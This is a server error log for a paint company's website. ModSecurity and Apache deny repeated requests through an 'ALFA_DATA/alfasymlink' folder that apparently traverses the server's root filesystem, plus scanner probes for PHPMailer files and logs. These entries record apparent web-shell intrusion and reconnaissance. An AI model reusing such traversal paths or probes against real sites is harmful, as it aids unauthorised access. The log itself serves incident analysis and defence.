[Sun Oct 25 17:27:10.860947 2026] [security2:error] [pid 2897949:tid 2897949] [client 18.209.201.119:18969] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/mice/subsystem/input4/device/driver/serio1/uevent"] [unique_id "at50LtBbBSGZ3kM8A7vDPgAAAB4"]
[Sun Oct 25 17:27:10.860978 2026] [security2:error] [pid 2897949:tid 2897949] [client 18.209.201.119:18969] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/mice/subsystem/input4/device/driver/serio1/uevent"] [unique_id "at50LtBbBSGZ3kM8A7vDPgAAAB4"]
[Sun Oct 25 17:27:18.620762 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 3.210.223.61:4274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:27:28.548202 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 142.188.194.128:58756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/alloc_calls
[Sun Oct 25 17:27:31.087627 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 104.36.181.23:48491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/alloc_calls
[Sun Oct 25 17:27:32.952166 2026] [core:error] [pid 2904653:tid 2904653] (13)Permission denied: [client 77.137.65.44:58111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/alloc_calls
[Sun Oct 25 17:27:34.477793 2026] [security2:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36666] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at50RtWbl1dH04nH-PjBkgAAAAY"]
[Sun Oct 25 17:27:34.478177 2026] [security2:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at50RtWbl1dH04nH-PjBkgAAAAY"]
[Sun Oct 25 17:27:34.478438 2026] [security2:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at50RtWbl1dH04nH-PjBkgAAAAY"]
[Sun Oct 25 17:27:37.399662 2026] [security2:error] [pid 2897949:tid 2897949] [client 167.172.150.172:36682] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at50SdBbBSGZ3kM8A7vDRgAAAB4"]
[Sun Oct 25 17:27:37.399915 2026] [security2:error] [pid 2897949:tid 2897949] [client 167.172.150.172:36682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at50SdBbBSGZ3kM8A7vDRgAAAB4"]
[Sun Oct 25 17:27:37.400251 2026] [security2:error] [pid 2897949:tid 2897949] [client 167.172.150.172:36682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/composer.json"] [unique_id "at50SdBbBSGZ3kM8A7vDRgAAAB4"]
[Sun Oct 25 17:27:37.826765 2026] [authz_core:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36712] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sun Oct 25 17:27:38.391693 2026] [security2:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/language/phpmailer.lang-pl.php"] [unique_id "at50StWbl1dH04nH-PjBowAAAAY"]
[Sun Oct 25 17:27:38.391724 2026] [security2:error] [pid 2899814:tid 2899814] [client 167.172.150.172:36712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/language/phpmailer.lang-pl.php"] [unique_id "at50StWbl1dH04nH-PjBowAAAAY"]
[Sun Oct 25 17:27:38.727983 2026] [security2:error] [pid 2899538:tid 2899538] [client 167.172.150.172:36714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/language/phpmailer.lang-uk.php"] [unique_id "at50ShY_WvHQT-9rZ0hNJAAAAAM"]
[Sun Oct 25 17:27:38.728034 2026] [security2:error] [pid 2899538:tid 2899538] [client 167.172.150.172:36714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/PHPMailer/language/phpmailer.lang-uk.php"] [unique_id "at50ShY_WvHQT-9rZ0hNJAAAAAM"]
[Sun Oct 25 17:27:39.681785 2026] [security2:error] [pid 2899538:tid 2899538] [client 167.172.150.172:36714] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /vendor/phpmailer/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at50SxY_WvHQT-9rZ0hNLAAAAAM"]
[Sun Oct 25 17:27:39.682048 2026] [security2:error] [pid 2899538:tid 2899538] [client 167.172.150.172:36714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at50SxY_WvHQT-9rZ0hNLAAAAAM"]
[Sun Oct 25 17:27:39.682303 2026] [security2:error] [pid 2899538:tid 2899538] [client 167.172.150.172:36714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at50SxY_WvHQT-9rZ0hNLAAAAAM"]
[Sun Oct 25 17:27:40.637154 2026] [security2:error] [pid 2904909:tid 2904909] [client 167.172.150.172:36730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php"] [unique_id "at50TPZp8j_cPCCtviROSQAAAAU"]
[Sun Oct 25 17:27:40.637193 2026] [security2:error] [pid 2904909:tid 2904909] [client 167.172.150.172:36730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php"] [unique_id "at50TPZp8j_cPCCtviROSQAAAAU"]
[Sun Oct 25 17:27:42.925718 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 100.29.128.75:16543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:27:46.614661 2026] [ssl:error] [pid 2904864:tid 2904864] (70014)End of file found: [client 52.44.229.124:60799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:27:50.607020 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 52.45.194.165:59411] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:27:58.761783 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 52.44.148.203:41741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:00.539196 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 168.93.60.243:64732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/hwcache_align
[Sun Oct 25 17:28:02.639460 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 44.217.255.167:16864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:02.912342 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 138.97.163.41:7141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/hwcache_align
[Sun Oct 25 17:28:05.866433 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 208.96.78.137:37056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/hwcache_align
[Sun Oct 25 17:28:08.118237 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 44.212.106.171:11464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:11.008664 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 54.83.23.103:6679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:14.897684 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 44.210.204.255:39632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/driver/unbind
[Sun Oct 25 17:28:19.035088 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 3.213.106.226:34591] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/unbind
[Sun Oct 25 17:28:22.665645 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 35.168.238.50:41614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:26.767576 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 52.22.64.232:9725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:31.024963 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 34.203.111.15:56271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:35.482101 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 185.191.171.8:39998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/slabs
[Sun Oct 25 17:28:38.924246 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 3.224.104.67:18375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:28:39.387774 2026] [security2:error] [pid 2901652:tid 2901652] [client 107.172.76.131:64798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at50e4pmZqacL6KQiJJFZgAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:28:39.387828 2026] [security2:error] [pid 2901652:tid 2901652] [client 107.172.76.131:64798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at50e4pmZqacL6KQiJJFZgAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:28:49.112776 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 172.58.121.106:28401] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objs_per_slab
[Sun Oct 25 17:28:50.641849 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 98.32.59.197:40369] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objs_per_slab
[Sun Oct 25 17:28:53.357890 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 78.167.246.104:44842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objs_per_slab
[Sun Oct 25 17:28:58.809623 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 52.71.218.25:9569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:02.827220 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 3.216.227.216:30031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:02.942301 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 77.103.250.128:37174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/aliases
[Sun Oct 25 17:29:06.067142 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 190.99.20.235:60551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/aliases
[Sun Oct 25 17:29:06.882967 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 52.3.127.170:19169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:07.617541 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 69.139.93.97:60837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/aliases
[Sun Oct 25 17:29:14.760593 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 18.215.24.66:59040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/unbind
[Sun Oct 25 17:29:18.876664 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 184.73.47.24:11021] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:22.949192 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 3.224.104.67:1844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:27.168463 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 50.16.72.185:26555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:34.834442 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 98.83.226.125:24225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:35.085543 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 85.208.96.200:54120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/store_user
[Sun Oct 25 17:29:39.000556 2026] [ssl:error] [pid 2904864:tid 2904864] (70014)End of file found: [client 3.89.170.186:60713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:43.391793 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 54.156.124.2:34912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:47.067802 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 54.84.147.79:6769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:55.054120 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 54.86.59.155:44957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:29:59.642186 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 23.21.148.226:17736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/pci-stub/new_id
[Sun Oct 25 17:30:01.750047 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 85.208.96.205:28128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/sanity_checks
[Sun Oct 25 17:30:02.943955 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 34.194.233.48:31228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:15.053760 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 184.73.68.20:4445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:17.177839 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 185.191.171.16:27218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/total_objects
[Sun Oct 25 17:30:19.122639 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 3.224.205.25:25029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:31.329714 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 138.122.221.100:43167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/shrink
[Sun Oct 25 17:30:33.246234 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 68.199.91.95:37545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/shrink
[Sun Oct 25 17:30:33.482846 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 98.26.235.14:52221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/ctor
[Sun Oct 25 17:30:34.726988 2026] [core:error] [pid 2904653:tid 2904653] (13)Permission denied: [client 96.225.72.50:57731] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/ctor
[Sun Oct 25 17:30:34.914388 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 18.209.201.119:33961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:39.527459 2026] [core:error] [pid 2905683:tid 2905683] (13)Permission denied: [client 34.238.45.183:26867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/ec/unbind
[Sun Oct 25 17:30:42.930136 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 34.192.67.98:4241] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:48.898489 2026] [ssl:error] [pid 2899543:tid 2899543] (22)Invalid argument: [client 44.215.210.112:30454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:55.112943 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 98.83.177.42:40159] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:59.143899 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 3.220.148.166:29371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:30:59.945004 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 143.255.85.133:55691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/destroy_by_rcu
[Sun Oct 25 17:31:07.390856 2026] [ssl:error] [pid 2905724:tid 2905724] (70014)End of file found: [client 100.24.167.60:21079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:09.939769 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 178.115.52.232:13112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/destroy_by_rcu
[Sun Oct 25 17:31:11.035463 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 34.225.138.57:52900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/subsystem/drivers/hpet/uevent
[Sun Oct 25 17:31:14.700278 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.230.206.92:39776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/destroy_by_rcu
[Sun Oct 25 17:31:15.107711 2026] [ssl:error] [pid 2905724:tid 2905724] (70014)End of file found: [client 18.215.49.176:26629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:15.108204 2026] [security2:error] [pid 2905724:tid 2905724] [client 18.215.49.176:26629] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/6/adapter"] [unique_id "at51IyxunCDSXMWcLRM3YQAAAAY"]
[Sun Oct 25 17:31:15.108258 2026] [security2:error] [pid 2905724:tid 2905724] [client 18.215.49.176:26629] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/6/adapter"] [unique_id "at51IyxunCDSXMWcLRM3YQAAAAY"]
[Sun Oct 25 17:31:23.028551 2026] [ssl:error] [pid 2905741:tid 2905741] (70014)End of file found: [client 23.21.179.120:2025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:35.105642 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 98.82.39.241:19866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:37.575515 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 207.204.103.23:18002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects_partial
[Sun Oct 25 17:31:39.915399 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 3.220.70.171:55830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:41.107020 2026] [core:error] [pid 2905741:tid 2905741] (13)Permission denied: [client 88.18.192.218:46042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects_partial
[Sun Oct 25 17:31:44.008059 2026] [core:error] [pid 2905739:tid 2905739] (13)Permission denied: [client 24.54.201.22:38207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slab_size
[Sun Oct 25 17:31:44.690033 2026] [core:error] [pid 2905740:tid 2905740] (13)Permission denied: [client 109.76.98.111:39027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects_partial
[Sun Oct 25 17:31:45.781380 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 69.156.99.158:58572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slab_size
[Sun Oct 25 17:31:47.228471 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 52.0.218.219:2740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:31:48.905751 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 86.185.114.53:34819] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/aliases
[Sun Oct 25 17:31:50.339914 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 173.174.198.226:45565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slab_size
[Sun Oct 25 17:31:55.129467 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 52.45.77.169:3910] AH02013: coalesce failed to read from data bucket
